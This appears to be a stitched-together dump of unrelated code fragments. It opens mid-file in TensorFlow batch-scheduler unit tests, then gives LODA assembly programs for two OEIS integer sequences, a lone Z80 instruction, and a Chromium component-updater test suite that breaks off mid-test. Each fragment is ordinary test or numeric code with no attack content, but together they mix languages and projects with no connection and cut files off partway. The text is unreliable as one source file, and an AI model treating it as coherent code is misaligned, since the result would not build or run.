options.min_in_flight_batches_limit = 2;
options.num_batch_threads = 3;
EXPECT_FALSE(Scheduler::Create(options, &scheduler).ok());
}
TEST(AdaptiveSharedBatchSchedulerTest, InFlightBatchesLimit) {
AdaptiveSharedBatchScheduler<FakeTask>::Options options;
options.initial_in_flight_batches_limit = 2;
options.batches_to_average_over = 1000;
mutex mu;
int processed_batches = 0;
Notification finish_processing;
auto queue_callback = [&mu, &processed_batches, &finish_processing](
std::unique_ptr<Batch<FakeTask>> batch) {
ASSERT_TRUE(batch->IsClosed());
EXPECT_GT(batch->num_tasks(), 0);
mu.lock();
int batch_num = ++processed_batches;
mu.unlock();
if (batch_num == 2) {
// Give third batch a chance to process if it's going to.
Env::Default()->SleepForMicroseconds(1000);
finish_processing.Notify();
}
if (batch_num == 3) {
ASSERT_TRUE(finish_processing.HasBeenNotified());
}
finish_processing.WaitForNotification();
};
std::shared_ptr<AdaptiveSharedBatchScheduler<FakeTask>> scheduler;
TF_ASSERT_OK(
AdaptiveSharedBatchScheduler<FakeTask>::Create(options, &scheduler));
std::unique_ptr<BatchScheduler<FakeTask>> queue;
TF_ASSERT_OK(scheduler->AddQueue({}, queue_callback, &queue));
// Enqueue 3 batches.
TF_ASSERT_OK(ScheduleTask(100, queue.get()));
while (queue->NumEnqueuedTasks() > 0) {
}
TF_ASSERT_OK(ScheduleTask(100, queue.get()));
while (queue->NumEnqueuedTasks() > 0) {
}
TF_ASSERT_OK(ScheduleTask(100, queue.get()));
}
TEST(AdaptiveSharedBatchSchedulerTest, InFlightBatchesLimitTuning) {
test_util::FakeClockEnv env(Env::Default());
Notification start_teardown, stop_teardown;
std::unique_ptr<Thread> teardown_thread =
CreateFakeClockAdvancerThread(&env, &start_teardown, &stop_teardown);
{
AdaptiveSharedBatchScheduler<FakeTask>::Options options;
options.env = &env;
options.initial_in_flight_batches_limit = 2;
options.batches_to_average_over = 1;
auto queue_callback = [&env](std::unique_ptr<Batch<FakeTask>> batch) {
ASSERT_TRUE(batch->IsClosed());
switch (batch->size()) {
case 0:
env.AdvanceByMicroseconds(10);
break;
case 1:
env.AdvanceByMicroseconds(15);
break;
case 2:
env.AdvanceByMicroseconds(10);
break;
case 3:
env.AdvanceByMicroseconds(11);
break;
}
};
std::shared_ptr<AdaptiveSharedBatchScheduler<FakeTask>> scheduler;
TF_ASSERT_OK(
AdaptiveSharedBatchScheduler<FakeTask>::Create(options, &scheduler));
std::unique_ptr<BatchScheduler<FakeTask>> queue;
TF_ASSERT_OK(scheduler->AddQueue({}, queue_callback, &queue));
TF_ASSERT_OK(ScheduleTask(0, queue.get()));
double in_flight_batches_limit = 2;
while (scheduler->in_flight_batches_limit() == in_flight_batches_limit) {
}
// Initial direction will be negative.
EXPECT_LT(scheduler->in_flight_batches_limit(), in_flight_batches_limit);
in_flight_batches_limit = scheduler->in_flight_batches_limit();
TF_ASSERT_OK(ScheduleTask(1, queue.get()));
while (scheduler->in_flight_batches_limit() == in_flight_batches_limit) {
}
// Latency increased -> change direction.
EXPECT_GT(scheduler->in_flight_batches_limit(), in_flight_batches_limit);
in_flight_batches_limit = scheduler->in_flight_batches_limit();
TF_ASSERT_OK(ScheduleTask(2, queue.get()));
while (scheduler->in_flight_batches_limit() == in_flight_batches_limit) {
}
// Latency decreased -> keep going in same direction.
EXPECT_GT(scheduler->in_flight_batches_limit(), in_flight_batches_limit);
in_flight_batches_limit = scheduler->in_flight_batches_limit();
TF_ASSERT_OK(ScheduleTask(3, queue.get()));
while (scheduler->in_flight_batches_limit() == in_flight_batches_limit) {
}
// Latency increased -> change direction.
EXPECT_LT(scheduler->in_flight_batches_limit(), in_flight_batches_limit);
start_teardown.Notify();
}
stop_teardown.Notify();
}
TEST(AdaptiveSharedBatchSchedulerTest, FullBatchSchedulingBoostMicros) {
test_util::FakeClockEnv env(Env::Default());
Notification start_teardown, stop_teardown;
std::unique_ptr<Thread> teardown_thread =
CreateFakeClockAdvancerThread(&env, &start_teardown, &stop_teardown);
{
AdaptiveSharedBatchScheduler<FakeTask>::Options options;
options.env = &env;
options.initial_in_flight_batches_limit = 1;
options.num_batch_threads = 1;
options.batches_to_average_over = 1000;
options.full_batch_scheduling_boost_micros = 100;
mutex mu;
int processed_batches = 0;
Notification finish_processing;
auto queue_callback = [&mu, &processed_batches, &finish_processing](
std::unique_ptr<Batch<FakeTask>> batch) {
ASSERT_TRUE(batch->IsClosed());
finish_processing.WaitForNotification();
mutex_lock l(mu);
processed_batches++;
switch (processed_batches) {
case 1:
EXPECT_EQ(100, batch->size());
break;
case 2:
EXPECT_EQ(50, batch->size());
break;
case 3:
EXPECT_EQ(900, batch->size());
break;
case 4:
EXPECT_EQ(200, batch->size());
break;
default:
EXPECT_TRUE(false) << "Should only have 4 batches";
}
};
std::shared_ptr<AdaptiveSharedBatchScheduler<FakeTask>> scheduler;
TF_ASSERT_OK(
AdaptiveSharedBatchScheduler<FakeTask>::Create(options, &scheduler));
AdaptiveSharedBatchScheduler<FakeTask>::QueueOptions queue_options;
std::unique_ptr<BatchScheduler<FakeTask>> queue1;
std::unique_ptr<BatchScheduler<FakeTask>> queue2;
queue_options.max_batch_size = 1000;
TF_ASSERT_OK(scheduler->AddQueue(queue_options, queue_callback, &queue1));
queue_options.max_batch_size = 100;
TF_ASSERT_OK(scheduler->AddQueue(queue_options, queue_callback, &queue2));
// First batch immediately processed.
TF_ASSERT_OK(ScheduleTask(100, queue1.get()));
while (queue1->NumEnqueuedTasks() > 0) {
}
TF_ASSERT_OK(ScheduleTask(100, queue1.get()));
env.AdvanceByMicroseconds(10);
TF_ASSERT_OK(ScheduleTask(100, queue1.get()));
env.AdvanceByMicroseconds(10);
TF_ASSERT_OK(ScheduleTask(50, queue2.get()));
env.AdvanceByMicroseconds(45);
TF_ASSERT_OK(ScheduleTask(900, queue1.get()));
// Second batch - creation time: 0, fullness: 0.2, sched score: -20
// Third batch - creation time: 20, fullness: 0.5, sched score: -30
// Fourth batch - creation time: 65, fullness: 0.9, sched score: -25
finish_processing.Notify();
start_teardown.Notify();
}
stop_teardown.Notify();
}
TEST(AdaptiveSharedBatchSchedulerTest, FIFO) {
test_util::FakeClockEnv env(Env::Default());
Notification start_teardown, stop_teardown;
std::unique_ptr<Thread> teardown_thread =
CreateFakeClockAdvancerThread(&env, &start_teardown, &stop_teardown);
{
AdaptiveSharedBatchScheduler<FakeTask>::Options options;
options.env = &env;
options.initial_in_flight_batches_limit = 1;
options.num_batch_threads = 1;
options.batches_to_average_over = 1000;
options.full_batch_scheduling_boost_micros = 0;
options.fifo_scheduling = true;
mutex mu;
int processed_batches = 0;
Notification finish_processing;
auto queue_callback = [&mu, &processed_batches, &finish_processing](
std::unique_ptr<Batch<FakeTask>> batch) {
ASSERT_TRUE(batch->IsClosed());
finish_processing.WaitForNotification();
mutex_lock l(mu);
processed_batches++;
switch (processed_batches) {
case 1:
EXPECT_EQ(100, batch->size());
break;
case 2:
EXPECT_EQ(200, batch->size());
break;
case 3:
EXPECT_EQ(50, batch->size());
break;
case 4:
EXPECT_EQ(900, batch->size());
break;
default:
EXPECT_TRUE(false) << "Should only have 4 batches";
}
};
std::shared_ptr<AdaptiveSharedBatchScheduler<FakeTask>> scheduler;
TF_ASSERT_OK(
AdaptiveSharedBatchScheduler<FakeTask>::Create(options, &scheduler));
AdaptiveSharedBatchScheduler<FakeTask>::QueueOptions queue_options;
std::unique_ptr<BatchScheduler<FakeTask>> queue1;
std::unique_ptr<BatchScheduler<FakeTask>> queue2;
queue_options.max_batch_size = 1000;
TF_ASSERT_OK(scheduler->AddQueue(queue_options, queue_callback, &queue1));
queue_options.max_batch_size = 100;
TF_ASSERT_OK(scheduler->AddQueue(queue_options, queue_callback, &queue2));
// First batch immediately processed.
TF_ASSERT_OK(ScheduleTask(100, queue1.get()));
env.AdvanceByMicroseconds(30);
TF_ASSERT_OK(ScheduleTask(100, queue1.get()));
env.AdvanceByMicroseconds(10);
TF_ASSERT_OK(ScheduleTask(100, queue1.get()));
env.AdvanceByMicroseconds(10);
TF_ASSERT_OK(ScheduleTask(50, queue2.get()));
env.AdvanceByMicroseconds(45);
TF_ASSERT_OK(ScheduleTask(900, queue1.get()));
finish_processing.Notify();
start_teardown.Notify();
}
stop_teardown.Notify();
}
TEST(AdaptiveSharedBatchSchedulerTest, DeleteQueue) {
AdaptiveSharedBatchScheduler<FakeTask>::Options options;
options.initial_in_flight_batches_limit = 1;
options.num_batch_threads = 1;
options.batches_to_average_over = 1000;
mutex mu;
int processed_batches = 0;
Notification finish_processing;
auto queue_callback = [&mu, &processed_batches, &finish_processing](
std::unique_ptr<Batch<FakeTask>> batch) {
ASSERT_TRUE(batch->IsClosed());
EXPECT_GT(batch->num_tasks(), 0);
finish_processing.WaitForNotification();
mu.lock();
processed_batches++;
mu.unlock();
};
auto processed_checker = gtl::MakeCleanup([&mu, &processed_batches] {
mutex_lock l(mu);
EXPECT_EQ(processed_batches, 2);
});
std::shared_ptr<AdaptiveSharedBatchScheduler<FakeTask>> scheduler;
TF_ASSERT_OK(
AdaptiveSharedBatchScheduler<FakeTask>::Create(options, &scheduler));
std::unique_ptr<BatchScheduler<FakeTask>> queue;
TF_ASSERT_OK(scheduler->AddQueue({}, queue_callback, &queue));
// Enqueue 2 tasks, should result in 2 batches.
TF_ASSERT_OK(ScheduleTask(100, queue.get()));
while (queue->NumEnqueuedTasks() > 0) {
}
TF_ASSERT_OK(ScheduleTask(100, queue.get()));
// Queue destructor should block until second batch has been scheduled.
Env::Default()->SchedClosureAfter(
1000, [&finish_processing] { finish_processing.Notify(); });
}
TEST(AdaptiveSharedBatchSchedulerTest, QueueCapacityInfo) {
AdaptiveSharedBatchScheduler<FakeTask>::Options options;
options.initial_in_flight_batches_limit = 1;
options.batches_to_average_over = 1000;
mutex mu;
int processed_batches = 0;
Notification finish_processing;
auto queue_callback = [&mu, &processed_batches, &finish_processing](
std::unique_ptr<Batch<FakeTask>> batch) {
ASSERT_TRUE(batch->IsClosed());
EXPECT_GT(batch->num_tasks(), 0);
mu.lock();
int batch_num = ++processed_batches;
mu.unlock();
if (batch_num == 1) {
finish_processing.WaitForNotification();
}
};
std::shared_ptr<AdaptiveSharedBatchScheduler<FakeTask>> scheduler;
TF_ASSERT_OK(
AdaptiveSharedBatchScheduler<FakeTask>::Create(options, &scheduler));
std::unique_ptr<BatchScheduler<FakeTask>> queue;
TF_ASSERT_OK(scheduler->AddQueue({}, queue_callback, &queue));
// Enqueue 2 tasks, should result in 2 batches.
TF_ASSERT_OK(ScheduleTask(100, queue.get()));
while (queue->NumEnqueuedTasks() > 0) {
}
TF_ASSERT_OK(ScheduleTask(100, queue.get()));
// First batch was immediately processed, no longer counts as enqueued.
EXPECT_EQ(queue->NumEnqueuedTasks(), 1);
EXPECT_EQ(queue->SchedulingCapacity(), 9 * 1000 + 900);
// Enqueue 2 more tasks, should fall in same batch.
TF_ASSERT_OK(ScheduleTask(100, queue.get()));
TF_ASSERT_OK(ScheduleTask(200, queue.get()));
EXPECT_EQ(queue->NumEnqueuedTasks(), 3);
EXPECT_EQ(queue->SchedulingCapacity(), 9 * 1000 + 600);
// Enqueue 1 more task, should create new batch and start processing the
// previous batch.
TF_ASSERT_OK(ScheduleTask(700, queue.get()));
EXPECT_EQ(queue->NumEnqueuedTasks(), 1);
EXPECT_EQ(queue->SchedulingCapacity(), 9 * 1000 + 300);
finish_processing.Notify();
}
TEST(AdaptiveSharedBatchSchedulerTest, FullBatches) {
std::shared_ptr<AdaptiveSharedBatchScheduler<FakeTask>> scheduler;
TF_ASSERT_OK(AdaptiveSharedBatchScheduler<FakeTask>::Create({}, &scheduler));
auto queue_callback = [](std::unique_ptr<Batch<FakeTask>> batch) {
ASSERT_TRUE(batch->IsClosed());
};
AdaptiveSharedBatchScheduler<FakeTask>::QueueOptions queue_options;
queue_options.max_batch_size = 100;
queue_options.batch_timeout_micros = 1000000000000;
std::unique_ptr<BatchScheduler<FakeTask>> queue;
TF_ASSERT_OK(scheduler->AddQueue(queue_options, queue_callback, &queue));
TF_ASSERT_OK(ScheduleTask(100, queue.get()));
// Full batches should not have to wait batch_timeout_micros.
}
TEST(AdaptiveSharedBatchSchedulerTest, TruncateBatches) {
mutex mu;
int processed_batches = 0;
auto queue_callback =
[&mu, &processed_batches](std::unique_ptr<Batch<FakeTask>> batch) {
ASSERT_TRUE(batch->IsClosed());
mutex_lock l(mu);
++processed_batches;
};
std::shared_ptr<AdaptiveSharedBatchScheduler<FakeTask>> scheduler;
TF_ASSERT_OK(AdaptiveSharedBatchScheduler<FakeTask>::Create({}, &scheduler));
std::unique_ptr<BatchScheduler<FakeTask>> queue;
AdaptiveSharedBatchScheduler<FakeTask>::QueueOptions queue_options;
queue_options.max_batch_size = 100;
queue_options.batch_timeout_micros = 1000000;
queue_options.split_input_task_func =
[](std::unique_ptr<FakeTask>* input_task, int first_size, int max_size,
std::vector<std::unique_ptr<FakeTask>>* output_tasks) {
EXPECT_EQ(first_size, 70);
output_tasks->push_back(std::move(*input_task));
int remaining_size = output_tasks->back()->size() - first_size;
output_tasks->back()->set_size(first_size);
while (remaining_size > 0) {
int task_size = std::min(remaining_size, max_size);
output_tasks->emplace_back(new FakeTask(task_size));
remaining_size -= task_size;
}
return Status::OK();
};
TF_ASSERT_OK(scheduler->AddQueue(queue_options, queue_callback, &queue));
TF_ASSERT_OK(ScheduleTask(30, queue.get()));
TF_ASSERT_OK(ScheduleTask(350, queue.get()));
// Second task should be split into a task of size 70, 2 tasks of size 100,
// and one task of size 80.
while (true) {
mutex_lock l(mu);
if (processed_batches == 4) break;
}
}
} // namespace anonymous
} // namespace serving
} // namespace tensorflow
|
; A080039: a(n) = floor((1+sqrt(2))^n).
; 1,2,5,14,33,82,197,478,1153,2786,6725,16238,39201,94642,228485,551614,1331713,3215042,7761797,18738638,45239073,109216786,263672645,636562078,1536796801,3710155682,8957108165,21624372014,52205852193,126036076402,304278004997,734592086398,1773462177793,4281516441986,10336495061765,24954506565518,60245508192801,145445522951122,351136554095045,847718631141214,2046573816377473,4940866263896162
mov $7,$0
mov $9,2
lpb $9,1
mov $0,$7
sub $9,1
add $0,$9
sub $0,1
clr $1,6
sub $1,$0
cal $0,279101 ; a(n) = Sum_{k=0..n} ceiling((1 + sqrt(2))^k).
add $0,$1
mov $1,$0
mov $10,$9
lpb $10,1
mov $8,$1
sub $10,1
lpe
lpe
lpb $7,1
mov $7,0
sub $8,$1
lpe
mov $1,$8
|
ex de, hl |
; A339183: Number of partitions of n into two parts such that the smaller part is a nonzero square.
; 0,0,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7
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sub $0,$1
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div $1,4
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// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/component_updater/component_updater_service.h"
#include <list>
#include <utility>
#include "base/compiler_specific.h"
#include "base/file_util.h"
#include "base/files/file_path.h"
#include "base/memory/scoped_vector.h"
#include "base/message_loop.h"
#include "base/path_service.h"
#include "base/values.h"
#include "chrome/common/chrome_notification_types.h"
#include "chrome/common/chrome_paths.h"
#include "content/public/browser/notification_observer.h"
#include "content/public/browser/notification_service.h"
#include "content/public/test/test_browser_thread.h"
#include "content/public/test/test_notification_tracker.h"
#include "content/test/net/url_request_prepackaged_interceptor.h"
#include "googleurl/src/gurl.h"
#include "libxml/globals.h"
#include "net/url_request/url_fetcher.h"
#include "net/url_request/url_request_test_util.h"
#include "testing/gtest/include/gtest/gtest.h"
using content::BrowserThread;
using content::TestNotificationTracker;
namespace {
// Overrides some of the component updater behaviors so it is easier to test
// and loops faster. In actual usage it takes hours do to a full cycle.
class TestConfigurator : public ComponentUpdateService::Configurator {
public:
TestConfigurator()
: times_(1), recheck_time_(0), ondemand_time_(0), cus_(NULL) {
}
virtual int InitialDelay() OVERRIDE { return 0; }
typedef std::pair<CrxComponent*, int> CheckAtLoopCount;
virtual int NextCheckDelay() OVERRIDE {
// This is called when a new full cycle of checking for updates is going
// to happen. In test we normally only test one cycle so it is a good
// time to break from the test messageloop Run() method so the test can
// finish.
if (--times_ <= 0) {
base::MessageLoop::current()->Quit();
return 0;
}
// Look for checks to issue in the middle of the loop.
for (std::list<CheckAtLoopCount>::iterator
i = components_to_check_.begin();
i != components_to_check_.end(); ) {
if (i->second == times_) {
cus_->CheckForUpdateSoon(*i->first);
i = components_to_check_.erase(i);
} else {
++i;
}
}
return 1;
}
virtual int StepDelay() OVERRIDE {
return 0;
}
virtual int MinimumReCheckWait() OVERRIDE {
return recheck_time_;
}
virtual int OnDemandDelay() OVERRIDE {
return ondemand_time_;
}
virtual GURL UpdateUrl(CrxComponent::UrlSource source) OVERRIDE {
switch (source) {
case CrxComponent::BANDAID:
return GURL("http://localhost/upd");
case CrxComponent::CWS_PUBLIC:
return GURL("http://localhost/cws");
default:
return GURL("http://wronghost/bad");
};
}
virtual const char* ExtraRequestParams() OVERRIDE { return "extra=foo"; }
virtual size_t UrlSizeLimit() OVERRIDE { return 256; }
virtual net::URLRequestContextGetter* RequestContext() OVERRIDE {
return new net::TestURLRequestContextGetter(
BrowserThread::GetMessageLoopProxyForThread(BrowserThread::IO));
}
// Don't use the utility process to decode files.
virtual bool InProcess() OVERRIDE { return true; }
virtual void OnEvent(Events event, int extra) OVERRIDE { }
// Set how many update checks are called, the default value is just once.
void SetLoopCount(int times) { times_ = times; }
void SetRecheckTime(int seconds) {
recheck_time_ = seconds;
}
void SetOnDemandTime(int seconds) {
ondemand_time_ = seconds;
}
void AddComponentToCheck(CrxComponent* com, int at_loop_iter) {
components_to_check_.push_back(std::make_pair(com, at_loop_iter));
}
void SetComponentUpdateService(ComponentUpdateService* cus) {
cus_ = cus;
}
private:
int times_;
int recheck_time_;
int ondemand_time_;
std::list<CheckAtLoopCount> components_to_check_;
ComponentUpdateService* cus_;
};
class TestInstaller : public ComponentInstaller {
public :
explicit TestInstaller()
: error_(0), install_count_(0) {
}
virtual void OnUpdateError(int error) OVERRIDE {
EXPECT_NE(0, error);
error_ = error;
}
virtual bool Install(const base::DictionaryValue& manifest,
const base::FilePath& unpack_path) OVERRIDE {
++install_count_;
return file_util::Delete(unpack_path, true);
}
int error() const { return error_; }
int install_count() const { return install_count_; }
private:
int error_;
int install_count_;
};
// component 1 has extension id "jebgalgnebhfojomionfpkfelancnnkf", and
// the RSA public key the following hash:
const uint8 jebg_hash[] = {0x94,0x16,0x0b,0x6d,0x41,0x75,0xe9,0xec,0x8e,0xd5,
0xfa,0x54,0xb0,0xd2,0xdd,0xa5,0x6e,0x05,0x6b,0xe8,
0x73,0x47,0xf6,0xc4,0x11,0x9f,0xbc,0xb3,0x09,0xb3,
0x5b,0x40};
// component 2 has extension id "abagagagagagagagagagagagagagagag", and
// the RSA public key the following hash:
const uint8 abag_hash[] = {0x01,0x06,0x06,0x06,0x06,0x06,0x06,0x06,0x06,0x06,
0x06,0x06,0x06,0x06,0x06,0x06,0x06,0x06,0x06,0x06,
0x06,0x06,0x06,0x06,0x06,0x06,0x06,0x06,0x06,0x06,
0x06,0x01};
const char expected_crx_url[] =
"http://localhost/download/jebgalgnebhfojomionfpkfelancnnkf.crx";
} // namespace
// Common fixture for all the component updater tests.
class ComponentUpdaterTest : public testing::Test {
public:
enum TestComponents {
kTestComponent_abag,
kTestComponent_jebg
};
ComponentUpdaterTest() : test_config_(NULL) {
// The component updater instance under test.
test_config_ = new TestConfigurator;
component_updater_.reset(ComponentUpdateServiceFactory(test_config_));
test_config_->SetComponentUpdateService(component_updater_.get());
// The test directory is chrome/test/data/components.
PathService::Get(chrome::DIR_TEST_DATA, &test_data_dir_);
test_data_dir_ = test_data_dir_.AppendASCII("components");
// Subscribe to all component updater notifications.
const int notifications[] = {
chrome::NOTIFICATION_COMPONENT_UPDATER_STARTED,
chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING,
chrome::NOTIFICATION_COMPONENT_UPDATE_FOUND,
chrome::NOTIFICATION_COMPONENT_UPDATE_READY
};
for (int ix = 0; ix != arraysize(notifications); ++ix) {
notification_tracker_.ListenFor(
notifications[ix], content::NotificationService::AllSources());
}
net::URLFetcher::SetEnableInterceptionForTests(true);
}
virtual ~ComponentUpdaterTest() {
net::URLFetcher::SetEnableInterceptionForTests(false);
}
virtual void TearDown() {
xmlCleanupGlobals();
}
ComponentUpdateService* component_updater() {
return component_updater_.get();
}
// Makes the full path to a component updater test file.
const base::FilePath test_file(const char* file) {
return test_data_dir_.AppendASCII(file);
}
TestNotificationTracker& notification_tracker() {
return notification_tracker_;
}
TestConfigurator* test_configurator() {
return test_config_;
}
ComponentUpdateService::Status RegisterComponent(CrxComponent* com,
TestComponents component,
const Version& version) {
if (component == kTestComponent_abag) {
com->name = "test_abag";
com->pk_hash.assign(abag_hash, abag_hash + arraysize(abag_hash));
} else {
com->name = "test_jebg";
com->pk_hash.assign(jebg_hash, jebg_hash + arraysize(jebg_hash));
}
com->version = version;
TestInstaller* installer = new TestInstaller;
com->installer = installer;
test_installers_.push_back(installer);
return component_updater_->RegisterComponent(*com);
}
private:
scoped_ptr<ComponentUpdateService> component_updater_;
base::FilePath test_data_dir_;
TestNotificationTracker notification_tracker_;
TestConfigurator* test_config_;
// ComponentInstaller objects to delete after each test.
ScopedVector<TestInstaller> test_installers_;
};
// Verify that our test fixture work and the component updater can
// be created and destroyed with no side effects.
TEST_F(ComponentUpdaterTest, VerifyFixture) {
EXPECT_TRUE(component_updater() != NULL);
EXPECT_EQ(0ul, notification_tracker().size());
}
// Verify that the component updater can be caught in a quick
// start-shutdown situation. Failure of this test will be a crash. Also
// if there is no work to do, there are no notifications generated.
TEST_F(ComponentUpdaterTest, StartStop) {
base::MessageLoop message_loop;
content::TestBrowserThread ui_thread(BrowserThread::UI, &message_loop);
component_updater()->Start();
message_loop.RunUntilIdle();
component_updater()->Stop();
EXPECT_EQ(0ul, notification_tracker().size());
}
// Verify that when the server has no updates, we go back to sleep and
// the COMPONENT_UPDATER_STARTED and COMPONENT_UPDATER_SLEEPING notifications
// are generated.
TEST_F(ComponentUpdaterTest, CheckCrxSleep) {
base::MessageLoop message_loop;
content::TestBrowserThread ui_thread(BrowserThread::UI, &message_loop);
content::TestBrowserThread file_thread(BrowserThread::FILE);
content::TestBrowserThread io_thread(BrowserThread::IO);
io_thread.StartIOThread();
file_thread.Start();
content::URLLocalHostRequestPrepackagedInterceptor interceptor;
CrxComponent com;
EXPECT_EQ(ComponentUpdateService::kOk,
RegisterComponent(&com, kTestComponent_abag, Version("1.1")));
const GURL expected_update_url(
"http://localhost/upd?extra=foo&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D1.1%26uc");
interceptor.SetResponse(expected_update_url,
test_file("updatecheck_reply_1.xml"));
// We loop twice, but there are no updates so we expect two sleep messages.
test_configurator()->SetLoopCount(2);
component_updater()->Start();
ASSERT_EQ(1ul, notification_tracker().size());
TestNotificationTracker::Event ev1 = notification_tracker().at(0);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_STARTED, ev1.type);
message_loop.Run();
ASSERT_EQ(3ul, notification_tracker().size());
TestNotificationTracker::Event ev2 = notification_tracker().at(1);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev2.type);
TestNotificationTracker::Event ev3 = notification_tracker().at(2);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev2.type);
EXPECT_EQ(2, interceptor.GetHitCount());
EXPECT_EQ(0, static_cast<TestInstaller*>(com.installer)->error());
EXPECT_EQ(0, static_cast<TestInstaller*>(com.installer)->install_count());
component_updater()->Stop();
// Loop twice again but this case we simulate a server error by returning
// an empty file.
interceptor.SetResponse(expected_update_url,
test_file("updatecheck_reply_empty"));
notification_tracker().Reset();
test_configurator()->SetLoopCount(2);
component_updater()->Start();
message_loop.Run();
ASSERT_EQ(3ul, notification_tracker().size());
ev1 = notification_tracker().at(0);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_STARTED, ev1.type);
ev2 = notification_tracker().at(1);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev2.type);
ev3 = notification_tracker().at(2);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev2.type);
EXPECT_EQ(4, interceptor.GetHitCount());
EXPECT_EQ(0, static_cast<TestInstaller*>(com.installer)->error());
EXPECT_EQ(0, static_cast<TestInstaller*>(com.installer)->install_count());
component_updater()->Stop();
}
// Verify that we can check for updates and install one component. Besides
// the notifications above NOTIFICATION_COMPONENT_UPDATE_FOUND and
// NOTIFICATION_COMPONENT_UPDATE_READY should have been fired. We do two loops
// so the second time around there should be nothing left to do.
// We also check that only 3 network requests are issued:
// 1- manifest check
// 2- download crx
// 3- second manifest check.
TEST_F(ComponentUpdaterTest, InstallCrx) {
base::MessageLoop message_loop;
content::TestBrowserThread ui_thread(BrowserThread::UI, &message_loop);
content::TestBrowserThread file_thread(BrowserThread::FILE);
content::TestBrowserThread io_thread(BrowserThread::IO);
io_thread.StartIOThread();
file_thread.Start();
content::URLLocalHostRequestPrepackagedInterceptor interceptor;
CrxComponent com1;
RegisterComponent(&com1, kTestComponent_jebg, Version("0.9"));
CrxComponent com2;
RegisterComponent(&com2, kTestComponent_abag, Version("2.2"));
const GURL expected_update_url_1(
"http://localhost/upd?extra=foo&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D0.9%26uc&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D2.2%26uc");
const GURL expected_update_url_2(
"http://localhost/upd?extra=foo&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D2.2%26uc&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D1.0%26uc");
interceptor.SetResponse(expected_update_url_1,
test_file("updatecheck_reply_1.xml"));
interceptor.SetResponse(expected_update_url_2,
test_file("updatecheck_reply_1.xml"));
interceptor.SetResponse(GURL(expected_crx_url),
test_file("jebgalgnebhfojomionfpkfelancnnkf.crx"));
test_configurator()->SetLoopCount(2);
component_updater()->Start();
message_loop.Run();
EXPECT_EQ(0, static_cast<TestInstaller*>(com1.installer)->error());
EXPECT_EQ(1, static_cast<TestInstaller*>(com1.installer)->install_count());
EXPECT_EQ(0, static_cast<TestInstaller*>(com2.installer)->error());
EXPECT_EQ(0, static_cast<TestInstaller*>(com2.installer)->install_count());
EXPECT_EQ(3, interceptor.GetHitCount());
ASSERT_EQ(5ul, notification_tracker().size());
TestNotificationTracker::Event ev1 = notification_tracker().at(1);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATE_FOUND, ev1.type);
TestNotificationTracker::Event ev2 = notification_tracker().at(2);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATE_READY, ev2.type);
TestNotificationTracker::Event ev3 = notification_tracker().at(3);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev3.type);
TestNotificationTracker::Event ev4 = notification_tracker().at(4);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev4.type);
component_updater()->Stop();
}
// This test is like the above InstallCrx but the second component
// has a different source. In this case there would be two manifest
// checks to different urls, each only containing one component.
TEST_F(ComponentUpdaterTest, InstallCrxTwoSources) {
base::MessageLoop message_loop;
content::TestBrowserThread ui_thread(BrowserThread::UI, &message_loop);
content::TestBrowserThread file_thread(BrowserThread::FILE);
content::TestBrowserThread io_thread(BrowserThread::IO);
io_thread.StartIOThread();
file_thread.Start();
content::URLLocalHostRequestPrepackagedInterceptor interceptor;
CrxComponent com1;
RegisterComponent(&com1, kTestComponent_abag, Version("2.2"));
CrxComponent com2;
com2.source = CrxComponent::CWS_PUBLIC;
RegisterComponent(&com2, kTestComponent_jebg, Version("0.9"));
const GURL expected_update_url_1(
"http://localhost/upd?extra=foo&x=id%3D"
"abagagagagagagagagagagagagagagag%26v%3D2.2%26uc");
const GURL expected_update_url_2(
"http://localhost/cws?extra=foo&x=id%3D"
"jebgalgnebhfojomionfpkfelancnnkf%26v%3D0.9%26uc");
interceptor.SetResponse(expected_update_url_1,
test_file("updatecheck_reply_3.xml"));
interceptor.SetResponse(expected_update_url_2,
test_file("updatecheck_reply_1.xml"));
interceptor.SetResponse(GURL(expected_crx_url),
test_file("jebgalgnebhfojomionfpkfelancnnkf.crx"));
test_configurator()->SetLoopCount(3);
// We have to set SetRecheckTime to something bigger than 0 or else the
// component updater will keep re-checking the 'abag' component because
// the default source pre-empts the other sources.
test_configurator()->SetRecheckTime(60*60);
component_updater()->Start();
message_loop.Run();
EXPECT_EQ(0, static_cast<TestInstaller*>(com1.installer)->error());
EXPECT_EQ(0, static_cast<TestInstaller*>(com1.installer)->install_count());
EXPECT_EQ(0, static_cast<TestInstaller*>(com2.installer)->error());
EXPECT_EQ(1, static_cast<TestInstaller*>(com2.installer)->install_count());
EXPECT_EQ(3, interceptor.GetHitCount());
ASSERT_EQ(6ul, notification_tracker().size());
TestNotificationTracker::Event ev0 = notification_tracker().at(1);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATER_SLEEPING, ev0.type);
TestNotificationTracker::Event ev1 = notification_tracker().at(2);
EXPECT_EQ(chrome::NOTIFICATION_COMPONENT_UPDATE_FOUND, ev1.type);
